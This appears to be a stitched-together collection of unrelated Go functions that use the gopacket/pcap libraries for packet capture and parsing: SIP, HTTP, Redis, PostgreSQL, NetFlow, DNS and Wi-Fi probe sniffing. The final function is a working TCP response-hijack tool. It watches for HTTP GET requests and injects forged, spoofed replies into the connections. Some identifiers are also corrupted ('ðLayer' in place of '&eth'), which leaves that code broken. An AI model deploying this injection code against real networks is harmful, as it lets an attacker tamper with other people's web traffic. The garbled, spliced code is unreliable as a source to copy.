func main() { flag.Parse() var handle *pcap.Handle var err error if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Printf("Starting capture on interface %q", *iface) handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } if err != nil { log.Fatal(err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal(err) } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if packet == nil { return } if udpLayer := packet.Layer(layers.LayerTypeUDP); udpLayer != nil { udp, _ := udpLayer.(*layers.UDP) fwdSIPPacket(udp.BaseLayer.Payload) } } }
func main() { defer util.Run()() var handle *pcap.Handle var err error // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } if err != nil { log.Fatal(err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal(err) } // Set up assembly streamFactory := &httpStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) log.Println("reading in packets") // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(time.Minute) for { select { case packet := <-packets: // A nil packet indicates the end of a pcap file. if packet == nil { return } if *logAllPackets { log.Println("\npacket:") // log.Println(packet) } if packet.NetworkLayer() == nil || packet.TransportLayer() == nil || packet.TransportLayer().LayerType() != layers.LayerTypeTCP { log.Println("Unusable packet") continue } tcp := packet.TransportLayer().(*layers.TCP) log.Printf("\n.......................................................\n") log.Printf("packet:\n") log.Printf("packet.Metadata().Timestamp=%T=%v=%v:\n%#v\n", packet.Metadata().Timestamp, packet.Metadata().Timestamp, packet.Metadata().Timestamp.UTC(), packet.Metadata().Timestamp) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past 2 minutes. assembler.FlushOlderThan(time.Now().Add(time.Minute * -2)) } } }
func setupPcap(device *string, port *string, rediscommand_ch chan<- redis_protocol.RedisCommand) { var h *pcap.Handle var err error ifs, err_str := pcap.FindAllDevs() if len(ifs) == 0 { fmt.Printf("Warning: no devices found : %s\n", err_str) } h, err = pcap.OpenLive(*device, int32(65535), true, 1000) if h == nil { fmt.Printf("Openlive(%s) failed: %s\n", *device, err) return } defer h.Close() err = h.SetBPFFilter("dst port " + *port) if err != nil { fmt.Println("set filter failed") return } packetSource := gopacket.NewPacketSource(h, h.LinkType()) for pkt := range packetSource.Packets() { applicationLayer := pkt.ApplicationLayer() if applicationLayer == nil { continue } s := string(applicationLayer.Payload()) if s == "" { continue } rediscommand, err := redis_protocol.Parse(s) if err != nil { fmt.Println(err) continue } ipLayer := pkt.Layer(layers.LayerTypeIPv4) if ipLayer != nil { ip, _ := ipLayer.(*layers.IPv4) rediscommand.Ipaddr = []byte(ip.SrcIP.String()) } else { ipLayer := pkt.Layer(layers.LayerTypeIPv6) if ipLayer != nil { ip, _ := ipLayer.(*layers.IPv6) rediscommand.Ipaddr = []byte(ip.SrcIP.String()) } } rediscommand_ch <- *rediscommand } }
// Sniff captures probe requests using the given handle and writes them to a channel. func Sniff(handle *pcap.Handle) <-chan wifitracker.Request { out := make(chan wifitracker.Request, 0) go func() { defer close(out) packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { handlePacket(packet, out) } }() return out }
func ExtractPGPackets(handle *pcap.Handle) (*metrics.QueryMetrics, []*ResponsePacket) { combinedQueryMetrics := metrics.NewQueryMetrics() responses := []*ResponsePacket{} // Sorts packets into queries or responses packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) var raw string for { packet, err := packetSource.NextPacket() if err == io.EOF { break } else if err != nil { fmt.Println("Error: ", err) continue } ipLayer := packet.Layer(layers.LayerTypeIPv4) if ipLayer == nil { continue } ip, _ := ipLayer.(*layers.IPv4) tcpLayer := packet.Layer(layers.LayerTypeTCP) if tcpLayer == nil { continue } tcp, _ := tcpLayer.(*layers.TCP) // If the destination port is 5432... if tcp.DstPort == 5432 { // And the packet payload starts with P... raw = fmt.Sprintf("%s", tcp.Payload) if strings.HasPrefix(raw, "P") { // It is a (Parse) packet that contains a Query combinedQueryMetrics.Add( metrics.New( NormalizeQuery(raw), 1, ip.SrcIP, tcp.Seq, ), ) } } else if tcp.SrcPort == 5432 && tcp.ACK { responses = append(responses, &ResponsePacket{ DstIP: ip.DstIP, Ack: tcp.Ack, Size: uint64(len(tcp.Payload)), }) } } return combinedQueryMetrics, responses }
func main() { flag.Parse() for _, arg := range flag.Args() { log.Println("reading", arg) var r *pcap.Handle var err error if r, err = pcap.OpenOffline(arg); err != nil { log.Printf("error reading %s: %v\n", arg, err) continue } s := session.New() d := netflow.NewDecoder(s) packetSource := gopacket.NewPacketSource(r, r.LinkType()) for packet := range packetSource.Packets() { log.Println("packet:", packet) m, err := d.Read(bytes.NewBuffer(packet.TransportLayer().LayerPayload())) if err != nil { log.Println("decoder error:", err) continue } switch p := m.(type) { case *netflow1.Packet: netflow1.Dump(p) case *netflow5.Packet: netflow5.Dump(p) case *netflow6.Packet: netflow6.Dump(p) case *netflow7.Packet: netflow7.Dump(p) case *netflow9.Packet: netflow9.Dump(p) case *ipfix.Message: ipfix.Dump(p) } } } }
//startCapture captures all packets on any interface for an unlimited duration. //Packets can be filtered by a BPF filter string. (E.g. tcp port 22) func capture(snaplen int32, quit chan bool, captureReady chan bool, pcapFile string) error { var handle *pcap.Handle var err error if pcapFile != "" { log.Println("Reading packet loss data from pcap-file:", pcapFile) handle, err = pcap.OpenOffline(pcapFile) } else { //https://godoc.org/code.google.com/p/gopacket/pcap //This might have been the culprit //Alternative to try: 250*time.Millisecond handle, err = pcap.OpenLive("any", snaplen, true, 250*time.Millisecond) } if err != nil { log.Println("Error while start capturing packets", err) return err } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) captureReady <- true for { select { case packet := <-packetSource.Packets(): if packet != nil { if packet.Layer(layers.LayerTypeIPSecESP) != nil { putChannel(packet, ipSecChannel) } if packet.Layer(layers.LayerTypeICMPv4) != nil { putChannel(packet, icmpChannel) } } case <-quit: log.Println("Received quit message, stopping Listener.") return nil } } }
func listenOneSource(handle *pcap.Handle) chan gopacket.Packet { packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() return packets }
func main() { defer util.Run()() var handle *pcap.Handle var err error // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } // log.Printf("starting capture on interface %q", *iface) // // Set up pcap packet capture // handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { panic(err) } if err := handle.SetBPFFilter(*filter); err != nil { panic(err) } // Set up assembly streamFactory := &myFactory{bidiMap: make(map[key]*bidi)} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) log.Println("reading in packets") // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(timeout / 4) ReadingPackets: for { select { case packet := <-packets: if *logAllPackets { log.Println(packet) } if packet == nil { log.Println("Unusable packet: if packet == nil") break ReadingPackets } if packet.NetworkLayer() == nil { log.Println("Unusable packet: if packet.NetworkLayer() == nil") break ReadingPackets } if packet.TransportLayer() == nil { log.Println("Unusable packet: if packet.TransportLayer() == nil") break ReadingPackets } if packet.TransportLayer().LayerType() != layers.LayerTypeTCP { log.Println("Unusable packet: if packet.TransportLayer().LayerType() != layers.LayerTypeTCP") break ReadingPackets } tcp := packet.TransportLayer().(*layers.TCP) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past minute. log.Println("---- FLUSHING ----") assembler.FlushOlderThan(time.Now().Add(-timeout)) streamFactory.collectOldStreams() } } }
func main() { var handle *pcap.Handle var err error flag.Parse() if *fname != "" { log.Printf("Reading from pcap file %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Printf("Starting capture on interface %q", *iface) handle, err = pcap.OpenLive(*iface, int32(*snaplen), false, pcap.BlockForever) } if err != nil { log.Fatal(err) } if *filter == "" { // from kcs_const.js *filter = "tcp port 80 and host" *filter += " (125.6.184.15 or 125.6.184.16 or 125.6.187.205 or" *filter += " 125.6.187.229 or 125.6.187.253 or 125.6.188.25 or" *filter += " 125.6.189.7 or 125.6.189.39 or 125.6.189.71 or" *filter += " 125.6.189.103 or 125.6.189.135 or 125.6.189.167 or" *filter += " 125.6.189.215 or 125.6.189.247 or 203.104.209.7 or" *filter += " 203.104.209.23 or 203.104.209.39 or 203.104.209.55 or" *filter += " 203.104.209.71 or 203.104.209.102 or 203.104.248.135)" } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal(err) } // Set up assembly streamFactory := &httpStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) // Set up paser goroutine cpus := runtime.NumCPU() runtime.GOMAXPROCS(cpus) wait := new(sync.WaitGroup) go parse(wait) // Read in packets, pass to assembler. packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packets := packetSource.Packets() ticker := time.Tick(time.Minute) for { select { case packet := <-packets: // A nil packet indicates the end of a pcap file. if packet == nil { return } if packet.NetworkLayer() == nil || packet.TransportLayer() == nil { continue } if packet.TransportLayer().LayerType() != layers.LayerTypeTCP { continue } tcp := packet.TransportLayer().(*layers.TCP) assembler.AssembleWithTimestamp(packet.NetworkLayer().NetworkFlow(), tcp, packet.Metadata().Timestamp) case <-ticker: // Every minute, flush connections that haven't seen activity in the past 2 minutes. assembler.FlushOlderThan(time.Now().Add(time.Minute * -2)) } } parserCh <- Res{port: 0} wait.Wait() }
//kick off packet procesing threads and start the packet capture loop func doCapture(handle *pcap.Handle, logChan chan dnsLogEntry, config *pdnsConfig, reChan chan tcpDataStruct, stats *statsd.StatsdBuffer) { gcAgeDur, err := time.ParseDuration(config.gcAge) if err != nil { log.Fatal("Your gc_age parameter was not parseable. Use a string like '-1m'") } gcIntervalDur, err := time.ParseDuration(config.gcInterval) if err != nil { log.Fatal("Your gc_age parameter was not parseable. Use a string like '3m'") } //setup the global channel for reassembled TCP streams reassembleChan = reChan /* init channels for the packet handlers and kick off handler threads */ var channels []chan *packetData for i := 0; i < config.numprocs; i++ { channels = append(channels, make(chan *packetData, 100)) } for i := 0; i < config.numprocs; i++ { go handlePacket(channels[i], logChan, gcIntervalDur, gcAgeDur, i, stats) } // Use the handle as a packet source to process all packets packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) //only decode packet in response to function calls, this moves the //packet processing to the processing threads packetSource.DecodeOptions.Lazy = true //We don't mutate bytes of the packets, so no need to make a copy //this does mean we need to pass the packet via the channel, not a pointer to the packet //as the underlying buffer will get re-allocated packetSource.DecodeOptions.NoCopy = true /* parse up to the IP layer so we can consistently balance the packets across our processing threads TODO: in the future maybe pass this on the channel to so we don't reparse but the profiling I've done doesn't point to this as a problem */ var ethLayer layers.Ethernet var ipLayer layers.IPv4 parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &ipLayer, ) foundLayerTypes := []gopacket.LayerType{} CAPTURE: for { select { case reassembledTcp := <-reChan: pd := NewTcpData(reassembledTcp) channels[int(reassembledTcp.IpLayer.FastHash())&(config.numprocs-1)] <- pd if stats != nil { stats.Incr("reassembed_tcp", 1) } case packet := <-packetSource.Packets(): if packet != nil { parser.DecodeLayers(packet.Data(), &foundLayerTypes) if foundLayerType(layers.LayerTypeIPv4, foundLayerTypes) { pd := NewPacketData(packet) channels[int(ipLayer.NetworkFlow().FastHash())&(config.numprocs-1)] <- pd if stats != nil { stats.Incr("packets", 1) } } } else { //if we get here, we're likely reading a pcap and we've finished //or, potentially, the physical device we've been reading from has been //downed. Or something else crazy has gone wrong...so we break //out of the capture loop entirely. log.Debug("packetSource returned nil.") break CAPTURE } } } gracefulShutdown(channels, reChan, logChan) }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } inactive.SetImmediateMode(true) if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil { if tcpLayer.(*layers.TCP).DstPort != 80 { continue } if tcpLayer.(*layers.TCP).SYN || tcpLayer.(*layers.TCP).RST { continue } data := string(tcpLayer.(*layers.TCP).LayerPayload()) if !strings.HasPrefix(data, "GET") { continue } fmt.Println("I got GET packet!") ethLayer := packet.Layer(layers.LayerTypeEthernet) eth := layers.Ethernet{ SrcMAC: ethLayer.(*layers.Ethernet).DstMAC, DstMAC: ethLayer.(*layers.Ethernet).SrcMAC, EthernetType: layers.EthernetTypeIPv4, } ipv4Layer := packet.Layer(layers.LayerTypeIPv4) ipv4 := layers.IPv4{ Version: ipv4Layer.(*layers.IPv4).Version, SrcIP: ipv4Layer.(*layers.IPv4).DstIP, DstIP: ipv4Layer.(*layers.IPv4).SrcIP, TTL: 77, Id: ipv4Layer.(*layers.IPv4).Id, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: tcpLayer.(*layers.TCP).DstPort, DstPort: tcpLayer.(*layers.TCP).SrcPort, PSH: true, ACK: true, FIN: true, Seq: tcpLayer.(*layers.TCP).Ack, Ack: tcpLayer.(*layers.TCP).Seq + uint32(len(data)), Window: 0, } tcp.SetNetworkLayerForChecksum(&ipv4) data = `HTTP/1.1 200 OK Server: nginx Date: Tue, 26 Jan 2016 13:09:19 GMT Content-Type: text/plain;charset=UTF-8 Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-store Pragrma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Content-Length: 7 Stupid!` // Set up buffer and options for serialization. buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } if err := gopacket.SerializeLayers(buf, opts, ð, &ipv4, &tcp, gopacket.Payload([]byte(data))); err != nil { fmt.Println(err) } if err := handle.WritePacketData(buf.Bytes()); err != nil { fmt.Println(err) } fmt.Println("I sent Response-hijack packet!") } } // dumpcommand.Run(handle) }